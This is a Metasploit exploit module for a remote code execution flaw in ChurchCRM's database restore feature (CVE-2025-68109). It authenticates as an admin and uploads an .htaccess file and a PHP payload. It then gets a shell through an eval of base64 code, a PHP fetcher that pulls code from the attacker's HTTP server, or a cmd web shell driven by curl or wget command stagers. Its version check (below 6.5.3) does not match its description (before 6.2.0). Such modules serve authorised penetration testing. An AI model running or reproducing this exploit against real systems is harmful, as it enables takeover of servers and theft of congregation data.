📄 ChurchCRM Database Restore Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ChurchCRM Database Restore RCE 6.2.0',
            'Description' => %q{
              This module exploits a Remote Code Execution (RCE) vulnerability in ChurchCRM
              versions prior to 6.2.0. The vulnerability resides in the Database Restore
              functionality, which allows an authenticated user with administrative privileges
              to upload a malicious backup file. By bypassing upload restrictions via a
              crafted .htaccess file, the module enables PHP code execution in the target
              directory, ultimately providing the attacker with a Meterpreter shell.
            },
            'License' => MSF_LICENSE,
            'Author' => ['LucasCsmt'],
            'References' => [
              [ 'GHSA', 'pqm7-g8px-9r77'],
              [ 'CVE', '2025-68109']
            ],
            'Platform' => ['linux', 'php'],
            'Targets' => [
              [
                'Linux/unix Command (CmdStager)',
                {
                  'Arch' => [ ARCH_X86, ARCH_X64 ],
                  'Platform' => ['linux'],
                  'Type' => :nix_cmdstager,
                  'CmdStagerFlavor' => [
                    'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
                  ]
                }
              ],
              [
                'PHP (In-Memory)',
                {
                  'Arch' => [ ARCH_PHP ],
                  'Platform' => ['php'],
                  'Type' => :php_memory
                }
              ],
              [
                'PHP (Fetch)',
                {
                  'Arch' => [ ARCH_PHP ],
                  'Platform' => ['php'],
                  'Type' => :php_fetch
                }
              ],
            ],
            'DisclosureDate' => '2025-12-17',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('USERNAME', [true, 'Username for the admin account', 'admin']),
            OptString.new('PASSWORD', [true, 'Password for the admin account', nil])
          ]
        )
      end
    
      # Check if the target is up by accessing the login page
      def check
        vprint_status('Checking if the target is reachable...')
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'session', 'begin')
        })
    
        unless [200, 301, 302].include?(res.code)
          return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}")
        end
    
        version = res.headers['CRM-VERSION']
        if version
          print_status("Found ChurchCRM version: #{version}")
          if Rex::Version.new(version) < Rex::Version.new('6.5.3')
            return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
          else
            return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
          end
        end
        if res.body.include?('ChurchCRM')
          return Exploit::CheckCode::Detected('ChurchCRM detected, but the version could not be determined.')
        end
    
        Exploit::CheckCode::Safe('The target does not appear to be ChurchCRM.')
      end
    
      # Build the payload that will be into the installation form
      #
      # @return : the payload
      def build_payload
        case target['Type']
        when :php_memory
          b64_payload = Rex::Text.encode_base64(payload.encoded)
          "<?php eval(base64_decode(\"#{b64_payload}\")); ?>"
        when :php_fetch
          payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
          "<?php $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); ?>"
        else
          "<?php if(isset($_GET['cmd'])){system($_GET['cmd'].' 2>&1');} ?>"
        end
      end
    
      # Get the session cookie of the specified user
      #
      # @return : the session cookie
      def get_cookie
        print_status 'Getting the session cookie'
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'session', 'begin'),
          'vars_post' => {
            'User' => datastore['USERNAME'],
            'Password' => datastore['PASSWORD']
          }
        })
    
        fail_with(Failure::Unreachable, 'No answer from the server') unless res
        fail_with(Failure::NoAccess, 'Authentication error : Invalid login or password') if res.body.include?('Invalid login or password')
        fail_with(Failure::NoAccess, 'Authentication error : This account have been locked') if res.body.include?('Too many failed logins')
        fail_with(Failure::UnexpectedReply, "Invalid status code : #{res.code}") unless [200, 301, 302].include?(res.code)
    
        cookie = res.get_cookies
        fail_with(Failure::UnexpectedReply, 'No cookies found') if cookie.blank?
    
        print_good 'The session cookie has been received'
        cookie
      end
    
      # Handles the incoming HTTP request and serves the payload to the target.
      def on_request_uri(cli, _request)
        p = payload.encoded
        send_response(cli, p, {
          'Content-Type' => 'application/x-httpd-php',
          'Pragma' => 'no-cache'
        })
      end
    
      def execute_command(cmd, _opts = {})
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name),
          'vars_get' => { 'cmd' => cmd }
        })
      end
    
      # Upload a file exploiting the database resotre functionality
      #
      # @param : file_name, the name of the file to upload
      # @param : content, the content of the file to upload
      def upload_file(file_name, content)
        print_status "Uploading the file : #{file_name}"
        data = Rex::MIME::Message.new
        data.add_part(
          content,
          'application/octet-stream',
          nil,
          "form-data; name=\"restoreFile\"; filename=\"#{file_name}\""
        )
        data.add_part('', nil, nil, 'form-data; name="restorePassword"')
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'database', 'restore'),
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s,
          'cookie' => @cookie
        })
        fail_with(Failure::Unreachable, 'No answer from the server') unless res
        # The server returns a 500 error because the uploaded file is not a valid backup file, but the file is still uploaded before the crash.
        fail_with(Failure::NotVulnerable, 'Invalid status code, the target may not be vulnerable') unless res.code == 500
        print_good 'The file have been uploaded successfully'
      end
    
      # Execute the payload
      def execute_payload
        print_status 'Trying to execute the payload'
        if target['Type'] == :nix_cmdstager
          execute_cmdstager(
            linemax: 500,
            nodelete: false,
            background: true,
            temp: '/tmp'
          )
        else
          send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name)
          })
        end
        print_good 'Payload successfully executed'
      end
    
      def exploit
        if target['Type'] == :php_fetch
          print_status('Starting HTTP server to serve the payload...')
          start_service
        end
    
        @cookie = get_cookie
    
        upload_file '.htaccess', "Allow from all\n"
        register_file_for_cleanup('.htaccess')
    
        @payload_name = rand_text_alpha(5..10) + '.php'
        upload_file @payload_name, build_payload
        register_file_for_cleanup(@payload_name)
    
        execute_payload
      end
    end